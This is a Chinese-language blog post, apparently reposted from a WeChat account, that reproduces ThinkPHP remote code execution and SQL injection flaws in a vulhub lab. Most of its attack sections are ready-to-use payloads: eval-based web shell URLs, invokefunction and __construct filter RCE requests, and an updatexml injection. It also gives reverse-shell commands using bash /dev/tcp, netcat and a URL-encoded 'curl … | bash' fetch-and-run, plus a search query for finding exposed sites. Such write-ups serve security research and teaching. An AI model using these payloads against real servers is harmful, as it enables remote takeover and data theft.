ThinkPHP框架漏洞复现

admin 2025年6月15日02:27:12评论28 views字数 2695阅读8分59秒阅读模式
1.Thinkphp框

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。

2.环境搭建

靶机:windows7

phpstudy:apache+php5.4n

Thinkphp:5.0.1核心版

下载地址:https://www.thinkphp.cn/down

搭建成功:http://192.168.160.130/thinkphp_5.0.1_core/public/index.php

ThinkPHP框架漏洞复现

3.漏洞复现

环境:vulhub

3.1 thinkphp 2-rce

影响版本:ThinkPHP 2.x

docker-compose up -d

ThinkPHP框架漏洞复现

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由【preg_replace代码执行漏洞】,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

【preg_replace代码执行漏洞】

ThinkPHP框架漏洞复现

preg_replace 使用了 /e 模式时会导致代码执行,而且该函数的第一个和第三个参数都是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上面代码中 preg_replace 函数的第二个参数)当做代码来执行。

/e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)

在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。

3.1.1 测试漏洞是否存在

payload:/index.php?s=/index/index/name/${@phpinfo()}

ThinkPHP框架漏洞复现

3.1.2 后门连接

payload:/index.php?s=a/b/c/${@print(eval($_POST[cmd]))}http://192.168.160.133:8080/index.php?s=a/a/a/${@eval($_POST[cmd])}

利用POST方法进行命令传递

ThinkPHP框架漏洞复现

蚁剑连接:

ThinkPHP框架漏洞复现

3.1.3 反弹shell

攻击机IP:192.168.160.128

利用curl配合bash方式进行fantanshell

攻击机建立反弹shell脚本,并在脚本目录利用python开启简易HTTP服务。新建窗口使用NC监听8888把端口,等待shell连接。

# 反弹shell脚本:echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh# 开启HTTP服务:python3 -m http.server 80# nc开启监听8888端口:nc -lvp 8888

ThinkPHP框架漏洞复现

反弹shell:

ThinkPHP框架漏洞复现

3.2 thinkphp 5.0.23-rce

影响版本:Thinkphp 5.0.23

3.2.1 测试漏洞是否存在

payload:/index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP框架漏洞复现

3.2.2 反弹shell

攻击机:192.168.160.128

同Thinkphp 2.x -rce,攻击机需做如下准备,通过curl配合bash的方式反弹shell。

# 反弹shell脚本:echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh# 开启HTTP服务:python3 -m http.server 80# nc开启监听8888端口:nc -lvp 8888

ThinkPHP框架漏洞复现

3.3 thinkphp 5-rce

影响版本:5.0.22-5.1.29

3.3.1 测试漏洞是否存在

payload:/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id

ThinkPHP框架漏洞复现

3.3.2 反弹shell

攻击机:192.168.160.128

同Thinkphp 2.x -rce,攻击机需做如下准备,通过curl配合bash的方式反弹shell,其中由于是GET方式传参,payload需要经过URL编码。

payload:/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars1=%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%30%2e%31%32%38%2f%61%2e%73%68%20%7c%20%62%61%73%68
# 反弹shell脚本:echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh# 开启HTTP服务:python3 -m http.server 80# nc开启监听8888端口:nc -lvp 8888

ThinkPHP框架漏洞复现

3.4 thinkphp5 SQL注入漏洞(信息泄露)

影响版本:ThinkPHP < 5.1.23

3.4.1 测试漏洞是否存在

payload:/index.php?ids[]=1&ids[]=2

3.4.2 信息泄露漏洞

payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

ThinkPHP框架漏洞复现

4.自动化验证漏洞
4.1 ThinkPHP 综合利用工具V1.0 by 蓝鲸

ThinkPHP框架漏洞复现

4.2 ThinkphpGUI by 莲花

ThinkPHP框架漏洞复现

4.3 thinkPHPBatchPoc.py

ThinkPHP框架漏洞复现

4.4 TPscan.py

ThinkPHP框架漏洞复现

5. SRC

header="thinkphp"

ThinkPHP框架漏洞复现

原文始发于微信公众号(Matrix1024):ThinkPHP框架漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月15日02:27:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP框架漏洞复现http://cn-sec.com/archives/822196.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息